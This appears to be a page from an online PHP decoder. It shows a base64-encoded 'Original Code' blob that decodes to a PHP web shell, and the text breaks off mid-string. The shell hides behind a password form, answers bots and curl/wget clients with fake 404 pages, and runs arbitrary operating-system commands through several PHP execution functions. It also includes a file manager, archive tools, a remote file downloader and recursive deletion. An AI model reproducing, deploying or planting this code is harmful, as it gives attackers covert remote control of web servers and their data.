jwvaHRtbD48P3BocCBkaWUoKTs/Pgo= ?>
Did this file decode correctly?
Original Code
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwokR0xPQkFMU1sncGFzcyddID0gImQ0YTk0YmZmMjExYjVjNDNjNjFhYzdmNDIwOWE5OTYyYjQ2NzhlNjAiOwokR0xPQkFMU1snbSddID0gYXJyYXkoImV4cGxvcmVyIiwgInRlcm1pbmFsIiwgImV2YWwiKTsKJEdMT0JBTFNbJ3ZlciddID0gIl5fXiI7CiRHTE9CQUxTWyd0aXRsZSddID0gIm51bGxzIjsgQG9iX3N0YXJ0KCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQGNsZWFyc3RhdGNhY2hlKCk7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2F1dGgnKSl7IGZ1bmN0aW9uIGF1dGgoKXsgaWYoaXNzZXQoJEdMT0JBTFNbJ3Bhc3MnXSkgJiYgKHRyaW0oJEdMT0JBTFNbJ3Bhc3MnXSkhPScnKSl7ICRjID0gJF9DT09LSUU7ICRwID0gJF9QT1NUOyBpZihpc3NldCgkcFsncGFzcyddKSl7ICR5b3VyX3Bhc3MgPSBzaGExKG1kNSgkcFsncGFzcyddKSk7IGlmKCR5b3VyX3Bhc3M9PSRHTE9CQUxTWydwYXNzJ10peyBzZXRjb29raWUoInBhc3MiLCAkeW91cl9wYXNzLCB0aW1lKCkrMzYwMDAsICIvIik7IGhlYWRlcigiTG9jYXRpb246ICIuZ2V0X3NlbGYoKSk7IH0gfSBpZighaXNzZXQoJGNbJ3Bhc3MnXSkgfHwgKChpc3NldCgkY1sncGFzcyddKSYmKCRjWydwYXNzJ10hPSRHTE9CQUxTWydwYXNzJ10pKSkpeyAkcmVzID0gIjwhZG9jdHlwZSBodG1sPiA8aHRtbD4gPGhlYWQ+IDxtZXRhIGNoYXJzZXQ9J3V0Zi04Jz4gPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LCBub2ZvbGxvdywgbm9hcmNoaXZlJz4gPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCB1c2VyLXNjYWxhYmxlPTAnPiA8L2hlYWQ+PGJvZHk+PGJyPjxicj48Zm9ybSBtZXRob2Q9J3Bvc3QnPjxjZW50ZXI+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdwYXNzJyBuYW1lPSdwYXNzJyBzdHlsZT0nZm9udC1zaXplOjM0cHg7d2lkdGg6MzQlO291dGxpbmU6bm9uZTt0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kOiNmZmZmZmY7cGFkZGluZzo4cHg7Ym9yZGVyOjFweCBzb2xpZCAjY2NjY2NjO2JvcmRlci1yYWRpdXM6OHB4O2NvbG9yOiMwMDAwMDA7Jz48L2NlbnRlcj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4gIjsgZWNobyAkcmVzOyBkaWUoKTsgfSB9IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfc2VydmVyX2luZm8nKSl7IGZ1bmN0aW9uIGdldF9zZXJ2ZXJfaW5mbygpeyAkc2VydmVyX2FkZHIgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOiRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJHNlcnZlcl9pbmZvWydpcF9hZHJyZXNzJ10gPSAiU2VydmVyIElQIDogIi4kc2VydmVyX2FkZHIuIiA8c3BhbiBjbGFzcz0nc3Ryb25nJz58PC9zcGFuPiBZb3VyIElQIDogIi4kX1NFUlZFUlsnUkVNT1RFX0FERFInXTsgJHNlcnZlcl9pbmZvWyd0aW1lX2F0X3NlcnZlciddID0gIlRpbWUgPHNwYW4gY2xhc3M9J3N0cm9uZyc+QDwvc3Bhbj4gU2VydmVyIDogIi5AZGF0ZSgiZCBNIFkgSDppOnMiLHRpbWUoKSk7ICRzZXJ2ZXJfaW5mb1sndW5hbWUnXSA9IHBocF91bmFtZSgpOyAkc2VydmVyX3NvZnR3YXJlID0gKGdldGVudignU0VSVkVSX1NPRlRXQVJFJykhPScnKT8gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4iIDxzcGFuIGNsYXNzPSdzdHJvbmcnPnw8L3NwYW4+ICI6Jyc7ICRzZXJ2ZXJfaW5mb1snc29mdHdhcmUnXSA9ICRzZXJ2ZXJfc29mdHdhcmUuIiBQSFAgIi5waHB2ZXJzaW9uKCk7IHJldHVybiAkc2VydmVyX2luZm87IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfc2VsZicpKXsgZnVuY3Rpb24gZ2V0X3NlbGYoKXsgJHF1ZXJ5ID0gKGlzc2V0KCRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXSkmJighZW1wdHkoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSkpPyI/Ii4kX1NFUlZFUlsiUVVFUllfU1RSSU5HIl06IiI7IHJldHVybiBodG1sX3NhZmUoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0uJHF1ZXJ5KTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ251bF9wb3N0JykpeyBmdW5jdGlvbiBudWxfcG9zdCgpeyByZXR1cm4gZml4X21hZ2ljX3F1b3RlKCRfUE9TVCk7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfbmF2JykpeyBmdW5jdGlvbiBnZXRfbmF2KCRwYXRoKXsgcmV0dXJuIHBhcnNlX2RpcigkcGF0aCk7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfY3dkJykpeyBmdW5jdGlvbiBnZXRfY3dkKCl7ICRjd2QgPSBnZXRjd2QoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBpZighaXNzZXQoJF9DT09LSUVbJ2N3ZCddKSl7IHNldGNvb2tpZSgiY3dkIiwgJGN3ZCk7IH0gZWxzZXsgJGN3ZF9jID0gcmF3dXJsZGVjb2RlKCRfQ09PS0lFWydjd2QnXSk7IGlmKGlzX2RpcigkY3dkX2MpKSAkY3dkID0gcmVhbHBhdGgoJGN3ZF9jKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBlbHNlIHNldGNvb2tpZSgiY3dkIiwgJGN3ZCk7IH0gcmV0dXJuICRjd2Q7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCd3cmFwX3dpdGhfcXVvdGVzJykpeyBmdW5jdGlvbiB3cmFwX3dpdGhfcXVvdGVzKCRzdHIpeyByZXR1cm4gIlwiIi4kc3RyLiJcIiI7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfcmVzb3VyY2UnKSl7IGZ1bmN0aW9uIGdldF9yZXNvdXJjZSgkdHlwZSl7IGlmKGlzc2V0KCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKXsgcmV0dXJuIGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKTsgfSByZXR1cm4gZmFsc2U7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdibG9ja19ib3QnKSl7IGZ1bmN0aW9uIGJsb2NrX2JvdCgpeyBpZihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pICYmIChwcmVnX21hdGNoKCcvYm90fHNwaWRlcnxjcmF3bGVyfHNsdXJwfHRlb21hfGFyY2hpdmV8dHJhY2t8c25vb3B5fGphdmF8bHdwfHdnZXR8Y3VybHxjbGllbnR8cHl0aG9ufGxpYnd3dy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkpeyBoZWFkZXIoIkhUVFAvMS4wIDQwNCBOb3QgRm91bmQiKTsgaGVhZGVyKCJTdGF0dXM6IDQwNCBOb3QgRm91bmQiKTsgZGllKCk7IH0gZWxzZWlmKCFpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXsgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7IGhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7IGRpZSgpOyB9IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdpc193aW4nKSl7IGZ1bmN0aW9uIGlzX3dpbigpeyByZXR1cm4gKHN0cnRvbG93ZXIoc3Vic3RyKHBocF91bmFtZSgpLDAsMykpID09ICJ3aW4iKT8gdHJ1ZSA6IGZhbHNlOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZml4X21hZ2ljX3F1b3RlJykpeyBmdW5jdGlvbiBmaXhfbWFnaWNfcXVvdGUoJGFycil7ICRxdW90ZXNfc3liYXNlID0gc3RydG9sb3dlcihpbmlfZ2V0KCdtYWdpY19xdW90ZXNfc3liYXNlJykpOyBpZihmdW5jdGlvbl9leGlzdHMoJ2dldF9tYWdpY19xdW90ZXNfZ3BjJykgJiYgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7IGlmKGlzX2FycmF5KCRhcnIpKXsgZm9yZWFjaCgkYXJyIGFzICRrPT4kdil7IGlmKGlzX2FycmF5KCR2KSkgJGFyclska10gPSBjbGVhbigkdik7IGVsc2UgJGFyclska10gPSAoZW1wdHkoJHF1b3Rlc19zeWJhc2UpIHx8ICRxdW90ZXNfc3liYXNlID09PSAnb2ZmJyk/IHN0cmlwc2xhc2hlcygkdikgOiBzdHJpcHNsYXNoZXMoc3RyX3JlcGxhY2UoIlwnXCciLCAiXCciLCAkdikpOyB9IH0gfSByZXR1cm4gJGFycjsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2V4ZWN1dGUnKSl7IGZ1bmN0aW9uIGV4ZWN1dGUoJGNvZGUpeyAkb3V0cHV0ID0gIiI7ICRjb2RlID0gJGNvZGUuIiAyPiYxIjsgaWYoaXNfY2FsbGFibGUoJ3N5c3RlbScpICYmIGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpeyBvYl9zdGFydCgpOyBAc3lzdGVtKCRjb2RlKTsgJG91dHB1dCA9IG9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsgfSBlbHNlaWYoaXNfY2FsbGFibGUoJ3NoZWxsX2V4ZWMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7ICRvdXRwdXQgPSBAc2hlbGxfZXhlYygkY29kZSk7IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gZWxzZWlmKGlzX2NhbGxhYmxlKCdleGVjJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpeyBAZXhlYygkY29kZSwkcmVzKTsgaWYoIWVtcHR5KCRyZXMpKSBmb3JlYWNoKCRyZXMgYXMgJGxpbmUpICRvdXRwdXQgLj0gJGxpbmU7IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gZWxzZWlmKGlzX2NhbGxhYmxlKCdwYXNzdGhydScpICYmIGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7IG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkY29kZSk7ICRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsgb2JfZW5kX2NsZWFuKCk7IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gZWxzZWlmKGlzX2NhbGxhYmxlKCdwcm9jX29wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKXsgJGRlc2MgPSBhcnJheSggMCA9PiBhcnJheSgicGlwZSIsICJyIiksIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAyID0+IGFycmF5KCJwaXBlIiwgInciKSk7ICRwcm9jID0gQHByb2Nfb3BlbigkY29kZSwgJGRlc2MsICRwaXBlcywgZ2V0Y3dkKCksIGFycmF5KCkpOyBpZihpc19yZXNvdXJjZSgkcHJvYykpeyB3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzFdKSl7IGlmKCFlbXB0eSgkcmVzKSkgJG91dHB1dCAuPSAkcmVzOyB9IHdoaWxlKCRyZXMgPSBmZ2V0cygkcGlwZXNbMl0pKXsgaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7IH0gfSBAcHJvY19jbG9zZSgkcHJvYyk7IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gZWxzZWlmKGlzX2NhbGxhYmxlKCdwb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSl7ICRyZXMgPSBAcG9wZW4oJGNvZGUsICdyJyk7IGlmKCRyZXMpeyB3aGlsZSghZmVvZigkcmVzKSl7ICRvdXRwdXQgLj0gZnJlYWQoJHJlcywgMjA5Nik7IH0gcGNsb3NlKCRyZXMpOyB9IGlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7IH0gcmV0dXJuICIiOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnaHRtbF9zYWZlJykpeyBmdW5jdGlvbiBodG1sX3NhZmUoJHN0cil7IHJldHVybiBodG1sc3BlY2lhbGNoYXJzKCRzdHIsIDIgfCAxKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3BhcnNlX2RpcicpKXsgZnVuY3Rpb24gcGFyc2VfZGlyKCRwYXRoKXsgJHBhdGggPSByZWFscGF0aCgkcGF0aCkuRElSRUNUT1JZX1NFUEFSQVRPUjsgJHBhdGhzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7ICRyZXMgPSAiIjsgZm9yKCRpID0gMDsgJGkgPCBzaXplb2YoJHBhdGhzKS0xOyAkaSsrKXsgJHggPSAiIjsgZm9yKCRqID0gMDsgJGogPD0gJGk7ICRqKyspICR4IC49ICRwYXRoc1skal0uRElSRUNUT1JZX1NFUEFSQVRPUjsgJHJlcyAuPSAiPGEgY2xhc3M9J25hdmJhcicgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkeCkuIic+Ii5odG1sX3NhZmUoJHBhdGhzWyRpXSkuIiAiLkRJUkVDVE9SWV9TRVBBUkFUT1IuIiA8L2E+IjsgfSBpZihpc193aW4oKSkgJHJlcyA9IGdldF9kcml2ZXMoKS4kcmVzOyByZXR1cm4gdHJpbSgkcmVzKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3ppcCcpKXsgZnVuY3Rpb24gemlwKCRmaWxlcywgJGFyY2hpdmUpeyAkc3RhdHVzID0gZmFsc2U7IGlmKCFleHRlbnNpb25fbG9hZGVkKCd6aXAnKSkgcmV0dXJuICRzdGF0dXM7IGlmKGNsYXNzX2V4aXN0cygiWmlwQXJjaGl2ZSIpKXsgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7IGlmKCEkemlwLT5vcGVuKCRhcmNoaXZlLCAxKSkgcmV0dXJuICRzdGF0dXM7IGlmKCFpc19hcnJheSgkZmlsZXMpKSAkZmlsZXMgPSBhcnJheSgkZmlsZXMpOyBmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSl7ICRmaWxlID0gc3RyX3JlcGxhY2UoZ2V0X2N3ZCgpLCAnJywgJGZpbGUpOyAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGZpbGUpOyBpZihpc19kaXIoJGZpbGUpKXsgJGZpbGVzSXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGZpbGUpLCAxKTsgZm9yZWFjaCgkZmlsZXNJdGVyYXRvciBhcyAkaXRlcmF0b3IpeyAkaXRlcmF0b3IgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRpdGVyYXRvcik7IGlmKGluX2FycmF5KHN1YnN0cigkaXRlcmF0b3IsIHN0cnJwb3MoJGl0ZXJhdG9yLCAnLycpKzEpLCBhcnJheSgnLicsICcuLicpKSkgY29udGludWU7IGlmKGlzX2RpcigkaXRlcmF0b3IpKSAkemlwLT5hZGRFbXB0eURpcihzdHJfcmVwbGFjZSgkZmlsZS4nLycsICcnLCAkaXRlcmF0b3IuJy8nKSk7IGVsc2UgaWYoaXNfZmlsZSgkaXRlcmF0b3IpKSAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRmaWxlLicvJywgJycsICRpdGVyYXRvciksIHJlYWRfZmlsZSgkaXRlcmF0b3IpKTsgfSB9IGVsc2VpZihpc19maWxlKCRmaWxlKSkgJHppcC0+YWRkRnJvbVN0cmluZyhiYXNlbmFtZSgkZmlsZSksIHJlYWRfZmlsZSgkZmlsZSkpOyB9IGlmKCR6aXAtPmdldFN0YXR1c1N0cmluZygpIT09ZmFsc2UpICRzdGF0dXMgPSB0cnVlOyAkemlwLT5jbG9zZSgpOyB9IHJldHVybiAkc3RhdHVzOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnY29tcHJlc3MnKSl7IGZ1bmN0aW9uIGNvbXByZXNzKCR0eXBlLCAkYXJjaGl2ZSwgJGZpbGVzKXsgaWYoIWlzX2FycmF5KCRmaWxlcykpICRmaWxlcyA9IGFycmF5KCRmaWxlcyk7IGlmKCR0eXBlPT0nemlwJyl7IGlmKHppcCgkZmlsZXMsICRhcmNoaXZlKSkgcmV0dXJuIHRydWU7IGVsc2UgcmV0dXJuIGZhbHNlOyB9IGVsc2VpZigoJHR5cGU9PSd0YXInKXx8KCR0eXBlPT0ndGFyZ3onKSl7ICRhcmNoaXZlID0gYmFzZW5hbWUoJGFyY2hpdmUpOyAkbGlzdHNCYXNlbmFtZSA9IGFycmF5X21hcCgiYmFzZW5hbWUiLCAkZmlsZXMpOyAkbGlzdHMgPSBhcnJheV9tYXAoIndyYXBfd2l0aF9xdW90ZXMiLCAkbGlzdHNCYXNlbmFtZSk7IGlmKCR0eXBlPT0ndGFyJykgZXhlY3V0ZSgidGFyIGNmIFwiIi4kYXJjaGl2ZS4iXCIgIi5pbXBsb2RlKCIgIiwgJGxpc3RzKSk7IGVsc2VpZigkdHlwZT09J3Rhcmd6JykgZXhlY3V0ZSgidGFyIGN6ZiBcIiIuJGFyY2hpdmUuIlwiICIuaW1wbG9kZSgiICIsICRsaXN0cykpOyBpZihpc19maWxlKCRhcmNoaXZlKSkgcmV0dXJuIHRydWU7IGVsc2UgcmV0dXJuIGZhbHNlOyB9IHJldHVybiBmYWxzZTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2RlY29tcHJlc3MnKSl7IGZ1bmN0aW9uIGRlY29tcHJlc3MoJHR5cGUsICRhcmNoaXZlLCAkcGF0aCl7ICRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7ICRzdGF0dXMgPSBmYWxzZTsgaWYoaXNfZGlyKCRwYXRoKSl7IGNoZGlyKCRwYXRoKTsgaWYoJHR5cGU9PSd1bnppcCcpeyBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7ICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyAkdGFyZ2V0ID0gJHBhdGguYmFzZW5hbWUoJGFyY2hpdmUsIi56aXAiKTsgaWYoJHppcC0+b3BlbigkYXJjaGl2ZSkpeyBpZighaXNfZGlyKCR0YXJnZXQpKSBta2RpcigkdGFyZ2V0KTsgaWYoJHppcC0+ZXh0cmFjdFRvKCR0YXJnZXQpKSAkc3RhdHVzID0gdHJ1ZTsgJHppcC0+Y2xvc2UoKTsgfSB9IH0gZWxzZWlmKCR0eXBlPT0ndW50YXInKXsgJHRhcmdldCA9IGJhc2VuYW1lKCRhcmNoaXZlLCIudGFyIik7IGlmKCFpc19kaXIoJHRhcmdldCkpIG1rZGlyKCR0YXJnZXQpOyAkYmVmb3JlID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7IGV4ZWN1dGUoInRhciB4ZiBcIiIuYmFzZW5hbWUoJGFyY2hpdmUpLiJcIiAtQyBcIiIuJHRhcmdldC4iXCIiKTsgJGFmdGVyID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7IGlmKCRiZWZvcmUhPSRhZnRlcikgJHN0YXR1cyA9IHRydWU7IH0gZWxzZWlmKCR0eXBlPT0ndW50YXJneicpeyAkdGFyZ2V0ID0gIiI7IGlmKHN0cnBvcyhzdHJ0b2xvd2VyKCRhcmNoaXZlKSwgIi50YXIuZ3oiKSE9PWZhbHNlKSAkdGFyZ2V0ID0gYmFzZW5hbWUoJGFyY2hpdmUsIi50YXIuZ3oiKTsgZWxzZWlmKHN0cnBvcyhzdHJ0b2xvd2VyKCRhcmNoaXZlKSwgIi50Z3oiKSE9PWZhbHNlKSAkdGFyZ2V0ID0gYmFzZW5hbWUoJGFyY2hpdmUsIi50Z3oiKTsgaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7ICRiZWZvcmUgPSBjb3VudChnZXRfYWxsX2ZpbGVzKCR0YXJnZXQpKTsgZXhlY3V0ZSgidGFyIHh6ZiBcIiIuYmFzZW5hbWUoJGFyY2hpdmUpLiJcIiAtQyBcIiIuJHRhcmdldC4iXCIiKTsgJGFmdGVyID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7IGlmKCRiZWZvcmUhPSRhZnRlcikgJHN0YXR1cyA9IHRydWU7IH0gfSByZXR1cm4gJHN0YXR1czsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Rvd25sb2FkJykpeyBmdW5jdGlvbiBkb3dubG9hZCgkdXJsICwkc2F2ZWFzKXsgaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHVybCk7IGlmKCRjb250ZW50ID0gcmVhZF9maWxlKCR1cmwpKXsgaWYoaXNfZmlsZSgkc2F2ZWFzKSkgdW5saW5rKCRzYXZlYXMpOyBpZih3cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7IHJldHVybiB0cnVlOyB9IH0gJGJ1ZmYgPSBleGVjdXRlKCJ3Z2V0ICIuJHVybC4iIC1PICIuJHNhdmVhcyk7IGlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyAkYnVmZiA9IGV4ZWN1dGUoImN1cmwgIi4kdXJsLiIgLW8gIi4kc2F2ZWFzKTsgaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7ICRidWZmID0gZXhlY3V0ZSgibHdwLWRvd25sb2FkICIuJHVybC4iICIuJHNhdmVhcyk7IGlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyAkYnVmZiA9IGV4ZWN1dGUoImx5bnggLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7IGlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOyByZXR1cm4gZmFsc2U7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZmlsZXBlcm1zJykpeyBmdW5jdGlvbiBnZXRfZmlsZXBlcm1zKCRmaWxlKXsgaWYoJHBlcm1zID0gQGZpbGVwZXJtcygkZmlsZSkpeyAkZmxhZyA9ICd1JzsgaWYoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSRmbGFnID0gJ3MnOyBlbHNlaWYoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSRmbGFnID0gJ2wnOyBlbHNlaWYoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSRmbGFnID0gJy0nOyBlbHNlaWYoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSRmbGFnID0gJ2InOyBlbHNlaWYoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSRmbGFnID0gJ2QnOyBlbHNlaWYoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSRmbGFnID0gJ2MnOyBlbHNlaWYoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSRmbGFnID0gJ3AnOyAkZmxhZyAuPSAoJHBlcm1zICYgMDA0MDApPyAncic6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAyMDApPyAndyc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAxMDApPyAneCc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwNDApPyAncic6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMjApPyAndyc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMTApPyAneCc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDQpPyAncic6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDIpPyAndyc6Jy0nOyAkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDEpPyAneCc6Jy0nOyByZXR1cm4gJGZsYWc7IH0gZWxzZSByZXR1cm4gIj8/Pz8/Pz8/Pz8/IjsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Zvcm1hdF9iaXQnKSl7IGZ1bmN0aW9uIGZvcm1hdF9iaXQoJHNpemUpeyAkYmFzZSA9IGxvZygkc2l6ZSkgLyBsb2coMTAyNCk7ICRzdWZmaXhlcyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOyByZXR1cm4gcm91bmQocG93KDEwMjQsICRiYXNlIC0gZmxvb3IoJGJhc2UpKSwyKS4iICIuJHN1ZmZpeGVzW2Zsb29yKCRiYXNlKV07IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZmlsZXNpemUnKSl7IGZ1bmN0aW9uIGdldF9maWxlc2l6ZSgkZmlsZSl7ICRzaXplID0gQGZpbGVzaXplKCRmaWxlKTsgaWYoJHNpemUhPT1mYWxzZSl7IGlmKCRzaXplPD0wKSByZXR1cm4gMDsgcmV0dXJuIGZvcm1hdF9iaXQoJHNpemUpOyB9IGVsc2UgcmV0dXJuICI/Pz8iOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVtdGltZScpKXsgZnVuY3Rpb24gZ2V0X2ZpbGVtdGltZSgkZmlsZSl7IHJldHVybiBAZGF0ZSgiZC1NLVkgSDppOnMiLCBmaWxlbXRpbWUoJGZpbGUpKTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9maWxlb3duZXInKSl7IGZ1bmN0aW9uIGdldF9maWxlb3duZXIoJGZpbGUpeyAkb3duZXIgPSAiPzo/IjsgaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpKXsgJG5hbWUgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGZpbGUpKTsgJGdyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRmaWxlKSk7ICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjoiLiRncm91cFsnbmFtZSddOyB9IHJldHVybiAkb3duZXI7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdybWRpcnMnKSl7IGZ1bmN0aW9uIHJtZGlycygkZGlyLCAkY291bnRlciA9IDApeyBpZihpc19kaXIoJGRpcikpICRkaXIgPSByZWFscGF0aCgkZGlyKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBpZigkZGggPSBvcGVuZGlyKCRkaXIpKXsgd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsgaWYoKCRmIT0nLicpJiYoJGYhPScuLicpKXsgJGYgPSAkZGlyLiRmOyBpZihAaXNfZGlyKCRmKSkgJGNvdW50ZXIgKz0gcm1kaXJzKCRmKTsgZWxzZXsgaWYodW5saW5rKCRmKSkgJGNvdW50ZXIrKzsgfSB9IH0gY2xvc2VkaXIoJGRoKTsgaWYocm1kaXIoJGRpcikpICRjb3VudGVyKys7OyB9IHJldHVybiAkY291bnRlcjsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2NvcHlzJykpeyBmdW5jdGlvbiBjb3B5cygkc291cmNlICwgJHRhcmdldCAsJGM9MCl7ICRzb3VyY2UgPSByZWFscGF0aCgkc291cmNlKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBpZigkZGggPSBvcGVuZGlyKCRzb3VyY2UpKXsgaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7ICR0YXJnZXQgPSByZWFscGF0aCgkdGFyZ2V0KS5ESVJFQ1RPUllfU0VQQVJBVE9SOyB3aGlsZSgoJGYgPSByZWFkZGlyKCRkaCkpIT09ZmFsc2UpeyBpZigoJGYhPScuJykmJigkZiE9Jy4uJykpeyBpZihpc19kaXIoJHNvdXJjZS4kZikpeyBjb3B5cygkc291cmNlLiRmLCAkdGFyZ2V0LiRmLCAkYyk7IH0gZWxzZXsgaWY